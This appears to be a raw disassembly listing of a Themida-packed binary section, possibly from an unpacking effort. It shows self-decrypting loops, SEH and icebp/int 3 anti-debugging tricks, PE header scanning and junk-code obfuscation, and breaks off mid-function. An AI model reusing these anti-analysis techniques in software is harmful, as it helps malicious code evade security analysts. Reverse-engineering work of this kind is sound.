loc_54C1E9: ; CODE XREF: Themida_:0054C1E2j
mov eax, large ds:77E7h
; ---------------------------------------------------------------------------
dw 0
dd 77E7A5FDh, 2 dup(0)
dd offset loc_5BBC43
dd 9 dup(0)
dd 1, 2 dup(0)
dd 50ED5413h, 76B41B40h, 0
dd 3313EF50h, 2 dup(0)
dd 21212121h, 9280h, 9A11E174h, 0
dd 960F502h, 0Ch dup(0)
dd offset dword_5CFE0C
dd 118h, 0DD7CF9E5h, 7 dup(0)
dd 0A369DDh, 5 dup(0)
dd 385FF68h, 0
dd 77E7C486h, 0
dd 4000A29h, 0
dd 0FFFFFFFEh, 4 dup(0)
dd 0A9C530DFh, 77E793EFh, 4 dup(0)
dd 0C8h, 0EC5h, 59AD16h, 0
dd 5503A96Ah, 8 dup(0)
dd offset dword_5BCB08
dd offset dword_59AE20
align 10h
dd 0A41564h, 0
dd 7DBD0CEDh, 2 dup(0)
dd 457A7h, 89CBD3CFh, 0
dd 59Eh, 2 dup(0)
dd offset byte_5C272D
dd 17h dup(0)
dd 8235B92Ch, 0
dd 77F50000h, 6 dup(0)
dd 0A59BACh, 3 dup(0)
dd 76F8h, 0
dd 0AC5D1034h, 2 dup(0)
; ---------------------------------------------------------------------------
jmp loc_54C4B5
; ---------------------------------------------------------------------------
align 4
dd 9 dup(0)
dd 0A369DDh, 0A2B168h, 17h dup(0)
; ---------------------------------------------------------------------------
cmpsb
loc_54C4B5: ; CODE XREF: Themida_:0054C424j
setalc
sub al, 0ACh
; ---------------------------------------------------------------------------
dd 5 dup(0)
dd 0A32292h, 0FEF4C5B6h, 0FFA2E8A1h, 829A3E7Eh, 4 dup(0)
dd 0A355D1h, 3 dup(0)
dd 0DF7CDB0Ch, 0FFFF9C80h, 8 dup(0)
dd 7493h, 0
dd 0E6B5E11Bh, 54CB8Dh, 1EF8h, 2C32322h, 2 dup(0)
dd 2440000h, 0
dd 18D6D51Ah, 18h dup(0)
dd 2D66h, 7FFE0304h, 24242424h, 2 dup(0)
dd offset dword_457444+29DBFh
dd 0
dd 1446D0h, 4 dup(0)
; ---------------------------------------------------------------------------
jmp near ptr byte_54C617
; ---------------------------------------------------------------------------
align 4
dd 5 dup(0)
dd 27BDBBF7h, 2 dup(0)
dd 0C73FB831h, 57AE68h, 0
db 3 dup(0)
byte_54C617 db 0 ; CODE XREF: Themida_:0054C5E0j
dd 0Ah dup(0)
dd 0FFAB37DCh, 2 dup(0)
dd 0FFFFA78Ch, 2 dup(0)
dd 0A4h, 0FFFFFF30h, 7 dup(0)
dd 0A0h, 4 dup(0)
dd 0A57316h, 12FF54h, 4 dup(0)
dd 7FFE0304h, 2 dup(0)
dd 1, 2 dup(0)
dd 0FFEEF4A1h, 3 dup(0)
dd 94h, 4 dup(0)
dd 25E0000h, 0
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 69h, 55h, 0
dd 0
dd 0D664ED67h, 2 dup(0)
dd 77E7F880h, 0Dh dup(0)
dd 0F303A3D5h, 3A0h, 7 dup(0)
dd 0FFA8417Eh, 0B3A1FEh, 149Eh, 4 dup(0)
dd 0A41560h, 0
dd 10947C48h, 0Bh dup(0)
dd 0AB8Bh, 5 dup(0)
dd 5A397F5Dh, 7 dup(0)
dd 77E75CB5h, 5 dup(0)
dd offset byte_580023
dd 2 dup(0)
dd 94F1CB4h, 2 dup(0)
dd 452294C5h, 2 dup(0)
dword_54C824 dd 404h, 164AF0h, 0Bh dup(0) ; DATA XREF: Themida_:0054CD88o
; Themida_:0054CF70o
dd 3B843210h, 7FFE0304h, 5 dup(0)
dd 8001FCFCh, 3 dup(0)
dd 19h, 0C3D1D352h, 0
dd 7FFE0304h, 3 dup(0)
dd 1CE2A81h, 0
dd 385FF68h, 77E75CB5h, 3 dup(0)
dd 77DD23D7h, 5883D1h, 0
dd 0BA0000h, 4 dup(0)
dd 0FFFFCC53h, 35Bh, 2, 7 dup(0)
dd 77E60000h, 2 dup(0)
dd offset loc_584E21
dd 0A36CB0h, 0
dd offset dword_57D000
dd 0Ch dup(0)
dd 0A2003Eh, 6D656854h, 616469h, 1Ch dup(0)
dd 0FB57BA34h, 4 dup(0)
dd 80h, 2 dup(0)
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
dd offset word_591D5A
align 4
dd 45BAE2E8h, 3 dup(0)
dd 0FA44B46Bh, 2 dup(0)
dd 2, 3 dup(0)
dd 2, 4 dup(0)
dd 1, 2 dup(0)
dd 0FED5BD02h, 0
dd 77E805D8h, 3 dup(0)
dd 129FE3h, 0A39C37h, 2 dup(0)
dd 2C66B16Ch, 7 dup(0)
dd offset loc_586443
dd 77E77963h, 2 dup(0)
dd 0A78D53h, 14E8h, 4 dup(0)
dd 77E776CDh, 0
dd 77E78B82h, 6376C648h, 0
dd 0A369DDh, 4 dup(0)
dd offset dword_54E3C8
dd 3 dup(0)
dd 1899h, 3 dup(0)
dd offset loc_57AE66+2
dd 7 dup(0)
dd 77E77CB8h, 2 dup(0)
dd 7493h, 0
dd 0A369DDh, 2 dup(0)
dd 0A3A00Fh, 3780h, 2 dup(0)
dd 0E569h, 2 dup(22222222h), 0
dd 0E877DBE9h, 0
dd offset dword_580304
align 10h
dd 1, 2 dup(0)
dd offset byte_587721
dd 63h dup(0)
dd 77E776CDh, 0Ah dup(0)
dd 77E80618h, 4 dup(0)
dd 513C416Bh, 0Ch dup(0)
dd offset dword_590440
align 8
dd offset dword_54C824
dd offset loc_54EE9D
dd 0
dd 0A369DDh, 31h dup(0)
dd 5FDCh, 1Dh dup(0)
dd 7FFE0304h, 0
dd 77E7A099h, 6 dup(0)
dd 4, 3 dup(0)
dd 7FFE0304h, 9 dup(0)
dd 12FF5Ch, 3 dup(0)
dd 2, 6 dup(0)
dd 10B6B22h, 4 dup(0)
dd offset dword_54C824
dd 7 dup(0)
dd 0C4h, 3 dup(0)
dd offset loc_5CFCB9
dd 1E1000h, 0Eh dup(0)
dd 0FFD5FEECh, 5 dup(0)
dd 800086D1h, 9 dup(0)
dd 80000h, 2 dup(0)
dd 5CB10000h, 2 dup(0)
dd 0FFFFFFFFh, 0
dd 80581B81h, 2 dup(0)
dd 0D7C61388h, 0Ah dup(0)
dd 8A92h, 5 dup(0)
dd 4FE8E415h, 5720F1h, 579B00h, 4 dup(0)
dd offset loc_5C1203
dd 7 dup(0)
dd offset dword_5876F8
dd 0A38C0Ah, 6 dup(0)
dd offset dword_53F858+7CBh
dd 6 dup(0)
dd 8BFA8C0h, 5B97A0h, 2, 14h dup(0)
dd 400000h, 3 dup(0)
dd offset loc_5A5282
dd 3 dup(0)
dd offset loc_54DB54
dd offset loc_5A4BDF+5
align 10h
dd offset loc_58963D
dd offset loc_5A7E24
dd 0
; ---------------------------------------------------------------------------
fcomi st, st(3)
pop ebx
push 0FFFFFFC9h
retf
; ---------------------------------------------------------------------------
dw 0D831h
dd 3 dup(0)
dd 0A20000h, 0Ah dup(0)
dd offset sub_5A5318
dd offset sub_59EADD
align 8
dd 304h, 2 dup(0)
dd 0B8h, 0
dd 0FFFFFFFFh, 6 dup(0)
dd 4, 0
dd offset byte_5AAEED
dd 4 dup(0)
dd 380FD7EEh, 7 dup(0)
dd 77D6ADFEh, 4 dup(0)
dd 12FF54h, 1Bh dup(0)
dd offset word_57BE82
dd 5C2DB9FEh, 3 dup(0)
; ---------------------------------------------------------------------------
jmp short near ptr word_54D316
; ---------------------------------------------------------------------------
dw 9Fh
dd 4 dup(0)
dd 7FFE0304h, 57FCD2h, 2 dup(0)
dd 2
db 2 dup(0)
word_54D316 dw 0 ; CODE XREF: Themida_:0054D2ECj
dd 6 dup(0)
dd 7FFE0304h, 2 dup(0)
dd 12FF54h, 183FFB0h, 13A8h, 0A20A9Ah, 0
dd offset loc_5B98B0
dd 0FFFFFFFFh, 5 dup(0)
dd 0A38C0Ah, 6 dup(0)
dd 9500h, 2 dup(0)
dd 7FFE0304h, 9 dup(0)
dd 0C0h, 7391DAF1h, 4 dup(0)
dd 0E1DE586h, 0
dd 1C34h, 6 dup(0)
dd 7FFE0304h, 3 dup(0)
dd offset dword_5CFE0C
dd 3 dup(0)
dd offset dword_5CFE0C
dd 0FFFF9725h, 2 dup(0)
dd 12FFE0h, 5 dup(0)
dd 400000h, 5 dup(0)
dd 41A22692h, 2 dup(0)
dd 0FFAB37DCh, 2 dup(0)
dd 0F1E21A7Ah, 0
dd 6CE40BEh, 3 dup(0)
dd 0FFA652EFh, 0A79995h, 5C8D8Dh, 0Ah dup(0)
dd 37050F7Bh, 4 dup(0)
dd 0CC924B81h, 7 dup(0)
dd offset loc_5AC530
dd 77F52E0Fh, 7FFE0304h, 0
dd offset loc_586443
align 8
dd 7FFE0304h, 0
dd 7493h, 0FFED00A0h, 2 dup(0)
dword_54D520 dd 0A41568h, 2E275017h, 4 dup(0) ; DATA XREF: Themida_:0054D7E0o
; Themida_:0054D800o
dd 0FE489673h, 0
dd 11111111h, 3 dup(0)
dd 77D40000h, 5BFB86h, 0
dd 12FF54h, 0
dd 31A9E3BDh, 22h, 9 dup(0)
dd 77DD59F0h, 7A0E7E5Fh, 1, 3 dup(0)
dd 0E09C0D1Ch, 4 dup(0)
dd offset loc_5839F5
dd 3 dup(0)
dd 304h, 0A3A037h, 6 dup(0)
dd 8001FCFCh, 0
dd 34EB86D9h, 0FFA85198h, 28E0000h, 4 dup(0)
dd offset byte_5B52CF
dd 2 dup(0)
dd offset loc_586443
dd 3 dup(0)
dd 976145BCh, 0
dd 12FFF0h, 6 dup(0)
dd 400000h, 0
dd 1, 6 dup(0)
dd 1, 4 dup(0)
dd 37054BA3h, 2 dup(0)
dd offset byte_5C0023
dd 0Eh dup(0)
dd 0A3A00Fh, 7FFE0304h, 2 dup(0)
dd 0FFFF1A97h, 3 dup(0)
dd 12FF54h, 0Bh dup(0)
dd 0A39393h, 7 dup(0)
; ---------------------------------------------------------------------------
retf 0B1B1h
; ---------------------------------------------------------------------------
align 8
dd offset byte_5D05EF
dd 2 dup(0)
dd 0FFFF1A97h, 0Bh dup(0)
dd 5AE0h, 7FFE0304h, 3 dup(0)
dd 0ACh, 0
dd offset byte_5A3193
align 10h
dd 0B805h, 6 dup(0)
dd 7FFE0327h, 434DD212h, 0A41568h, 2 dup(0)
dd offset dword_54D520
dd 2 dup(0)
dd 5247ADD9h, 4 dup(0)
dd offset dword_54D520
dd 0BAAAh, 5BBD25h, 4 dup(0)
dd 0E421C71Ah, 0BAC98F62h, 2 dup(0)
dd 8AA7h, 0FFFFFFFCh, 2 dup(0)
dd 0D58256Bh, 3 dup(0)
dd offset byte_5E0EDF
dd 4 dup(0)
dd offset unk_4DF000
dd 4834699Ch, 8 dup(0)
dd 2B0FEEE9h, 0B2h dup(0)
; ---------------------------------------------------------------------------
loc_54DB54: ; DATA XREF: Themida_:0054D184o
mov eax, 0
or eax, eax
jz short loc_54DB60
retn 18h
; ---------------------------------------------------------------------------
loc_54DB60: ; CODE XREF: Themida_:0054DB5Bj
mov eax, [esp+0Ch]
push ebx
call $+5
pop ebx
add ebx, 17h
mov [esp+10h], ebx
mov [esp+14h], eax
pop ebx
mov eax, 0A3A037h
jmp eax
; ---------------------------------------------------------------------------
mov eax, [esp+4]
jmp eax
; ---------------------------------------------------------------------------
align 4
dd 16h dup(0)
dd 24h, 4 dup(0)
dd 3 dup(33333333h), 7FFE0304h, 2Ah, 2 dup(0)
dd offset word_5AC1A6
dd 0AB19B80h, 4 dup(0)
dd 104h, 7 dup(0)
dd 0FFA4B134h, 2 dup(0)
dd 7FFE0304h, 2 dup(0)
dd offset loc_58A828
dd 2 dup(0)
dd 5FCCC991h, 4 dup(0)
dd 0ECh, 0
dd 7FFE0304h, 98h, 0
dd 6BACh, 86555974h, 3 dup(0)
dd 881857C9h, 0
dd 7FFE0304h, 4 dup(0)
dd offset loc_5BACF1
dd 77E7C785h, 0
dd 0A6E31C02h, 0D0491969h, 0AE7D4AFBh, 100h, 18D6D51Bh
dd 3 dup(0)
dd offset word_57BE82
dd 2Eh dup(0)
dd 6469h, 49F4D777h, 2 dup(0)
dd 565CE7FBh, 3 dup(0)
dd 17Eh, 0
dd 1, 3 dup(0)
dd offset byte_5A8363
dd 1CC9F511h, 3 dup(0)
dd offset dword_457444+29DBFh
align 10h
dd 0A369DDh, 0FFFFA01Ch, 2 dup(0)
dd 32597F5Dh, 0E569h, 1000h, 0
dd 0FFA78908h, 7 dup(0)
dd 28E0000h, 6 dup(0)
dd 62h, 3 dup(0)
dd 0A369DDh, 8A31A6B6h, 4 dup(0)
dd offset dword_5CFE0C
dd 0
dd 2A0114h, 2 dup(0)
dd 94C6DC2Eh, 5 dup(0)
dd 0B753FBF4h, 0
dd 0F8879749h, 5 dup(0)
dd 7FFE0304h, 3 dup(0)
dd 77E83E68h, 0
dd 1, 2 dup(0)
dd 77E776CDh, 27310304h, 2 dup(0)
dd offset loc_5C12BF+5
dd 900Bh, 4 dup(0)
dd 7273EFB3h, 4 dup(0)
dd 0FFFFFFF3h, 0
dd 259208Ah, 586455h, 7FFE0304h, 0
dd 7493h, 0FFFFFFFFh, 5 dup(0)
dd 976145BCh, 0
dd 6D5C3A43h, 706E755Fh, 656B6361h, 72h, 7Ch dup(0)
dd 9E828DE7h, 0
dd 1, 0
dd 1, 3 dup(0)
dd 0D0987273h, 2 dup(0)
dd offset dword_5876F8
dd 3 dup(0)
dd offset byte_5879F3
align 10h
dd 0FFFFA2F4h, 0
dd 7493h, 8AA7h, 0E80h, 0A3A313h, 0FFFF7559h, 0Bh dup(0)
dd 7493h, 0
dd 0FFFFFF68h, 6 dup(0)
dd offset dword_5C4CC0
dd 0
dd 0A33E3Bh, 0Ah dup(0)
dd 77E7C726h, 0
dd 0E0950000h, 1Ch dup(0)
dd 77DD0000h, 3 dup(0)
dd 380FD7EEh, 5 dup(0)
dd 3D94h, 6 dup(0)
dd 4, 6 dup(0)
dd 69DDh, 0
dd 0A32BDEh, 7FFE0304h, 0
dd 0BCh, 7FFE0304h, 0FFAB37DCh, 4 dup(0)
dd 42E45F83h, 2 dup(0)
dd offset loc_5C1203
dd 2440008h, 12FFA4h, 3FEEh, 0F3D6EBD0h, 2 dup(0)
dd 0A20000h, 5803D5h, 5 dup(0)
dd 0FFFFh, 576FE082h, 7 dup(0)
dd 0A423E8h
dword_54E3C8 dd 0 ; DATA XREF: Themida_:0054CAD8o
dd 547Ch, 7 dup(0)
dd 2A0114h, 0
dd 1F8Fh, 0FB57239Ah, 7FFE0304h, 77EBA6E9h, 3 dup(0)
dd 0A57FD8h, 2 dup(7FFE0304h), 0
dd 0A39234h, 3 dup(0)
dd offset byte_5C138D
dd 6 dup(0)
dd 0E3030000h, 7 dup(0)
dd 33AB6305h, 0Ah dup(0)
dd offset byte_5A57ED
dd 2 dup(0)
dd offset sub_5CE57D
dd 6 dup(0)
dd offset loc_5CFCB9
dd 4 dup(0)
dd 24C6B9Ch, 0
dd 32F5DC04h, 0FFFFFFFDh, 0
dd offset loc_58BEA5
dd 9 dup(0)
dd 7FFE0304h, 25C0000h, 4 dup(0)
; ---------------------------------------------------------------------------
jmp short loc_54E53E
; ---------------------------------------------------------------------------
align 4
dd offset dword_5A0934
dd 9Ch, 77E7C657h, 0
db 9Ah, 0Ah
; ---------------------------------------------------------------------------
loc_54E53E: ; CODE XREF: Themida_:0054E528j
mov large ds:0, al
; ---------------------------------------------------------------------------
db 0
align 10h
dd 77E7FB17h, 14h, 5C52D1h, 0
dd 12FFC4h, 2 dup(0)
dd 7C8C0968h, 2 dup(0)
dd offset word_5865EA
dd 3 dup(0)
dd 7FFE0304h, 4 dup(0)
dd offset loc_5969F6
dd 3 dup(0)
dd 385FF68h, 4 dup(0)
dd 84DCCC7Ah, 2 dup(0)
dd 24C7FFFh, 0Dh dup(0)
dd 5A4BD4B8h, 2 dup(0)
dd offset word_5D738E
align 8
a6666 db '6666',0
align 10h
dd 3 dup(0)
dd 816B6869h, 586443h, 0A20FE6h, 2Ch dup(0)
dd 93B4C9Eh, 77E7C486h, 0
dd offset loc_5D000F
dd 4 dup(0)
dd 9096h, 4ACC51h, 6 dup(0)
dd 1, 2 dup(0)
dd offset sub_57FA37
dd 3 dup(0)
dd 0DE000h, 0C7246BA2h, 2 dup(0)
dd 0FFFFA4C0h, 15h dup(0)
dd 0A20000h, 25F0000h, 0FD7CA5Eh, 6 dup(0)
dd 7FFE0304h, 0
dd offset loc_5C12BF+5
dd 5 dup(0)
aCWindowsSystem db 'C:\WINDOWS\System32\ADVAPI32.dll',0
align 4
dd 39h dup(0)
dd offset dword_5CFE0C
dd offset sub_5A4E9C
; ---------------------------------------------------------------------------
loc_54E900: ; CODE XREF: Themida_:loc_54B46Bj
mov eax, ebp
mov edx, esp
pusha
call $+5
pop ebp
sub ebp, 610349Fh
mov [ebp+61030F5h], edx
mov [ebp+61030E9h], esi
mov [ebp+61021C9h], eax
cmp dword ptr [ebp+6101C21h], 0
jz short loc_54E938
mov ebp, eax
mov esp, edx
mov eax, 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_54E938: ; CODE XREF: Themida_:0054E92Aj
mov eax, [esp+24h]
mov [ebp+6102089h], eax
push 45h
call sub_54E9EC
push 783749Ah
call sub_54EA32
push 0A894B25h
call sub_54EA32
jmp loc_54EB76
; ---------------------------------------------------------------------------
dw 4645h
dd 4A494847h, 4E4D4C4Bh, 5251504Fh, 56555453h, 5A595857h
dd 5E5D5C5Bh, 6261605Fh, 66656463h, 6A696867h, 6E6D6C6Bh
dd 7271706Fh, 76757473h, 7A797877h, 7E7D7C7Bh, 8281807Fh
dd 86858483h, 8A898887h, 8E8D8C8Bh, 9291908Fh, 96959493h
dd 9A999897h, 9E9D9C9Bh, 0A2A1A09Fh, 0A6A5A4A3h, 0AAA9A8A7h
dd 0AEADACABh, 0B2B1B0AFh, 0B6B5B4B3h, 0BAB9B8B7h, 0BEBDBCBBh
dd 0C2C1C0BFh, 0C3h, 2 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_54E9EC proc near ; CODE XREF: Themida_:0054E944p
var_28 = dword ptr -28h
var_24 = dword ptr -24h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFFD8h
pusha
call $+5
pop edx
sub edx, 610358Dh
mov ebx, edx
mov [ebp+var_28], 0
loc_54EA08: ; CODE XREF: sub_54E9EC+39j
mov eax, [ebp+var_28]
inc eax
mov [ebp+var_28], eax
cmp [ebp+var_28], 80h
jz short loc_54EA27
mov eax, [ebp+arg_0]
mov [ebx+61034F7h], eax
inc [ebp+arg_0]
inc ebx
jmp short loc_54EA08
; ---------------------------------------------------------------------------
loc_54EA27: ; CODE XREF: sub_54E9EC+2Aj
mov [ebp+var_24], eax
popa
mov eax, [ebp+var_24]
leave
retn 4
sub_54E9EC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_54EA32 proc near ; CODE XREF: Themida_:0054E94Ep
; Themida_:0054E958p
var_84 = dword ptr -84h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFF7Ch
pusha
call $+5
pop edx
sub edx, 61035D6h
lea eax, [ebp+var_80]
mov ebx, [ebp+arg_0]
mov [ebp+var_84], 0
loc_54EA58: ; CODE XREF: sub_54EA32+41j
mov ecx, [ebp+var_84]
rol ebx, 1
mov [eax], bl
inc ecx
mov [ebp+var_84], ecx
cmp [ebp+var_84], 80h
jnz short loc_54EA58
mov [ebp+var_84], 0
lea edi, [edx+61034F7h]
lea esi, [ebp+var_80]
loc_54EA88: ; CODE XREF: sub_54EA32+83j
mov cl, [esi]
mov ebx, 1F4h
mov eax, 785437ABh
loc_54EA94: ; CODE XREF: sub_54EA32+69j
rcl eax, cl
mov cl, [edi]
rcl eax, cl
dec ebx
jnz short loc_54EA94
imul eax, ebx
inc edi
inc esi
mov ecx, [ebp+var_84]
inc ecx
mov [ebp+var_84], ecx
cmp ecx, 80h
jnz short loc_54EA88
popa
leave
retn 4
sub_54EA32 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add esp, 0FFFFFFF0h
mov esi, [ebp+8]
mov dword ptr [ebp-4], 0
jmp short loc_54EAD2
; ---------------------------------------------------------------------------
loc_54EACE: ; CODE XREF: Themida_:0054EAD5j
inc dword ptr [ebp-4]
inc esi
loc_54EAD2: ; CODE XREF: Themida_:0054EACCj
cmp byte ptr [esi], 0
jnz short loc_54EACE
mov edx, 0
mov esi, [ebp+8]
mov edi, [ebp+0Ch]
jmp short loc_54EB63
; ---------------------------------------------------------------------------
loc_54EAE4: ; CODE XREF: Themida_:0054EB66j
mov dword ptr [ebp-8], 0
jmp short loc_54EB5A
; ---------------------------------------------------------------------------
loc_54EAED: ; CODE XREF: Themida_:0054EB5Ej
mov dword ptr [ebp-10h], 0
mov dword ptr [ebp-0Ch], 0
jmp short loc_54EB47
; ---------------------------------------------------------------------------
loc_54EAFD: ; CODE XREF: Themida_:0054EB4Bj
shl dword ptr [ebp-10h], 4
mov eax, [ebp-8]
shl eax, 1
add eax, edx
add eax, [ebp-0Ch]
xor ebx, ebx
mov bl, [eax+esi]
cmp bl, 30h
jb short loc_54EB1F
cmp bl, 39h
ja short loc_54EB1F
sub bl, 30h
jmp short loc_54EB41
; ---------------------------------------------------------------------------
loc_54EB1F: ; CODE XREF: Themida_:0054EB13j
; Themida_:0054EB18j
cmp bl, 61h
jb short loc_54EB31
cmp bl, 66h
ja short loc_54EB31
sub bl, 61h
add bl, 0Ah
jmp short loc_54EB41
; ---------------------------------------------------------------------------
loc_54EB31: ; CODE XREF: Themida_:0054EB22j
; Themida_:0054EB27j
cmp bl, 41h
jb short loc_54EB41
cmp bl, 46h
ja short loc_54EB41
sub bl, 41h
add bl, 0Ah
loc_54EB41: ; CODE XREF: Themida_:0054EB1Dj
; Themida_:0054EB2Fj ...
add [ebp-10h], ebx
inc dword ptr [ebp-0Ch]
loc_54EB47: ; CODE XREF: Themida_:0054EAFBj
cmp dword ptr [ebp-0Ch], 2
jb short loc_54EAFD
cmp dword ptr [ebp-10h], 0
jbe short loc_54EB57
mov eax, [ebp-10h]
stosb
loc_54EB57: ; CODE XREF: Themida_:0054EB51j
inc dword ptr [ebp-8]
loc_54EB5A: ; CODE XREF: Themida_:0054EAEBj
cmp dword ptr [ebp-8], 2
jb short loc_54EAED
add edx, 4
loc_54EB63: ; CODE XREF: Themida_:0054EAE2j
cmp edx, [ebp-4]
jb loc_54EAE4
mov al, 0
stosb
mov eax, [ebp-4]
leave
retn 8
; ---------------------------------------------------------------------------
loc_54EB76: ; CODE XREF: Themida_:0054E95Dj
mov ecx, 7000h
lea edi, [ebp+610371Ch]
loc_54EB81: ; CODE XREF: Themida_:0054EB85j
dec byte ptr [edi]
inc edi
dec ecx
jnz short loc_54EB81
mov eax, 48692121h
mov edx, 0F00E1000h
sub edx, 0F0000000h
lea eax, [ebp+6103828h]
push eax
push large dword ptr fs:0
mov large fs:0, esp
call $+5
pop eax
mov ebx, edx
push 0
push eax
call sub_54EBBF
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54EBBF proc near ; CODE XREF: Themida_:0054EBB7p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 19h
inc eax
push eax
retn
sub_54EBBF endp
; ---------------------------------------------------------------------------
mov edx, 4EA70CCFh
icebp
pusha
mov ax, 0E3AAh
sub ecx, 6A53EF34h
popa
sub eax, edx
jmp loc_54EBFC
; ---------------------------------------------------------------------------
dd 9CF7D77h, 0BEED93CAh, 59F5EB04h, 56B66A17h, 0D7A8E2B7h
; ---------------------------------------------------------------------------
loc_54EBFC: ; CODE XREF: Themida_:0054EBE3j
and eax, 0FFFFF000h
mov bh, cl
movzx ebx, di
mov ecx, edx
xor edi, edi
loc_54EC0A: ; CODE XREF: Themida_:0054EC25j
cmp word ptr [eax], 5A4Dh
jnz short loc_54EC1F
movzx edx, word ptr [eax+3Ch]
add edx, eax
cmp dword ptr [edx], 4550h
jz short loc_54EC27
loc_54EC1F: ; CODE XREF: Themida_:0054EC0Fj
sub eax, 1000h
inc edi
jmp short loc_54EC0A
; ---------------------------------------------------------------------------
loc_54EC27: ; CODE XREF: Themida_:0054EC1Dj
pop large dword ptr fs:0
add esp, 4
lea edx, [ebp+610383Bh]
push edx
push large dword ptr fs:0
mov large fs:0, esp
add eax, ecx
sub eax, 1000h
mov esi, [eax+4]
and esi, 0FFFF0000h
cmp esi, 80000000h
jbe short loc_54EC61
mov esi, [eax+1Ch]
loc_54EC61: ; CODE XREF: Themida_:0054EC5Cj
xor eax, eax
loc_54EC63: ; CODE XREF: Themida_:0054EC76j
cmp eax, 32h
jz short loc_54EC87
cmp word ptr [esi], 5A4Dh
jz short loc_54EC78
loc_54EC6F: ; CODE XREF: Themida_:0054EC85j
sub esi, 10000h
inc eax
jmp short loc_54EC63
; ---------------------------------------------------------------------------
loc_54EC78: ; CODE XREF: Themida_:0054EC6Dj
mov edi, [esi+3Ch]
add edi, esi
cmp dword ptr [edi], 4550h
jz short loc_54ECC9
jmp short loc_54EC6F
; ---------------------------------------------------------------------------
loc_54EC87: ; CODE XREF: Themida_:0054EC66j
pop large dword ptr fs:0
add esp, 4
popa
retn
; ---------------------------------------------------------------------------
push ecx
mov ecx, [esp+10h]
sub dword ptr [ecx+0B0h], 1000h
pop ecx
xor eax, eax
retn
; ---------------------------------------------------------------------------
push ecx
mov ecx, [esp+10h]
push ebp
call $+5
pop ebp
sub ebp, 6103846h
lea eax, [ebp+6103804h]
mov [ecx+0B8h], eax
pop ebp
pop ecx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_54ECC9: ; CODE XREF: Themida_:0054EC83j
xchg eax, esi
pop large dword ptr fs:0
add esp, 4
call near ptr loc_54ECDC+2
ja short loc_54ED4F
inc esi
loc_54ECDC: ; CODE XREF: Themida_:0054ECD4p
db 0F3h
repne jmp loc_54ECEE
; ---------------------------------------------------------------------------
db 23h
dd 17653E1Dh, 4765AEE6h
; ---------------------------------------------------------------------------
adc al, 0C8h
loc_54ECEE: ; CODE XREF: Themida_:loc_54ECDCj
pop ebx
jnp loc_54ECFB
adc ebx, 54A2709Ah
loc_54ECFB: ; CODE XREF: Themida_:0054ECEFj
jle loc_54ED0B
jle loc_54ED0B
mov bx, 49A7h
loc_54ED0B: ; CODE XREF: Themida_:loc_54ECFBj
; Themida_:0054ED01j
mov cx, ds
sbb bx, 3474h
and cl, 4
and ebx, 2AD09204h
jg loc_54ED26
push edx
mov bh, ah
pop ebx
loc_54ED26: ; CODE XREF: Themida_:0054ED1Cj
or cl, cl
jnz loc_54ED6A
push eax
mov ebx, ecx
pop ebx
mov dword ptr [ebp+6102209h], 1
call near ptr loc_54ED46+2
jnz short near ptr loc_54EDB7+5
movsb
loop near ptr loc_54ED8C+1
loc_54ED46: ; CODE XREF: Themida_:0054ED3Cp
fist dword ptr [edi+10E9h]
add [edi-51h], ah
loc_54ED4F: ; CODE XREF: Themida_:0054ECD9j
out dx, al
imul esi, ecx, 30h
mov edi, 99CF0D58h
and dh, ah
xchg eax, edx
call fword ptr ss:[ebx-17h]
pop ss
; ---------------------------------------------------------------------------
dd 51000000h, 90EB8051h
; ---------------------------------------------------------------------------
pop ebx
pop ebx
loc_54ED6A: ; CODE XREF: Themida_:0054ED28j
mov dword ptr [ebp+6102209h], 0
sbb ebx, 64F6B3Ch
mov [ebp+6101499h], eax
jmp loc_54ED8C
; ---------------------------------------------------------------------------
db 48h, 70h, 77h
dd 975E2BE4h
; ---------------------------------------------------------------------------
loc_54ED8C: ; CODE XREF: Themida_:0054ED80j
; Themida_:0054ED44j
mov ebx, edx
mov [ebp+6101D45h], eax
call sub_54ED9E
; ---------------------------------------------------------------------------
shr dword ptr [esp+eax*2], 48h
xchg eax, edx
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_54ED9E proc near ; CODE XREF: Themida_:0054ED94p
push ecx
mov dh, 33h
pop ebx
pop edi
movsx ebx, si
add edi, 5F51h
push esi
loc_54EDAD: ; CODE XREF: sub_54ED9E+30j
push esi
xor dx, 0BA99h
pop eax
pop ebx
xor ecx, ecx
loc_54EDB7: ; CODE XREF: Themida_:0054ED41j
jb loc_54EDBF
mov eax, ebx
loc_54EDBF: ; CODE XREF: sub_54ED9E:loc_54EDB7j
; sub_54EDD8+99j
mov esi, [edi+ecx]
call sub_54EDD8
dec esi
dec eax
int 3 ; Trap to Debugger
add edx, edi
pop edx
dec esp
jmp short loc_54EDAD
sub_54ED9E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dd 4A875C60h, 0AA7B5F13h
; =============== S U B R O U T I N E =======================================
sub_54EDD8 proc near ; CODE XREF: sub_54ED9E+24p
; FUNCTION CHUNK AT 0054EE6F SIZE 00000007 BYTES
push eax
mov bl, 89h
pop eax
pop eax
xor esi, 356530D1h
jnb loc_54EDFA
jmp loc_54EDFA
; ---------------------------------------------------------------------------
dw 5353h
dd 0A5B87AAFh, 8458208Ah
db 8Fh, 91h
; ---------------------------------------------------------------------------
loc_54EDFA: ; CODE XREF: sub_54EDD8+Bj
; sub_54EDD8+11j
add esi, 4DA7BFB3h
and ah, 0DBh
add esi, 5BB9DCAEh
mov ax, di
push esi
mov edx, edi
pop dword ptr [edi+ecx]
add ebx, 2BE6B1EEh
jmp loc_54EE2D
; ---------------------------------------------------------------------------
db 3Eh, 8Bh, 1Dh
dd 0D460E516h, 0B782B194h, 42AE4D6Eh
db 0B7h
; ---------------------------------------------------------------------------
loc_54EE2D: ; CODE XREF: sub_54EDD8+40j
sub ecx, 4
mov dx, si
cmp ecx, 0FFFFA194h
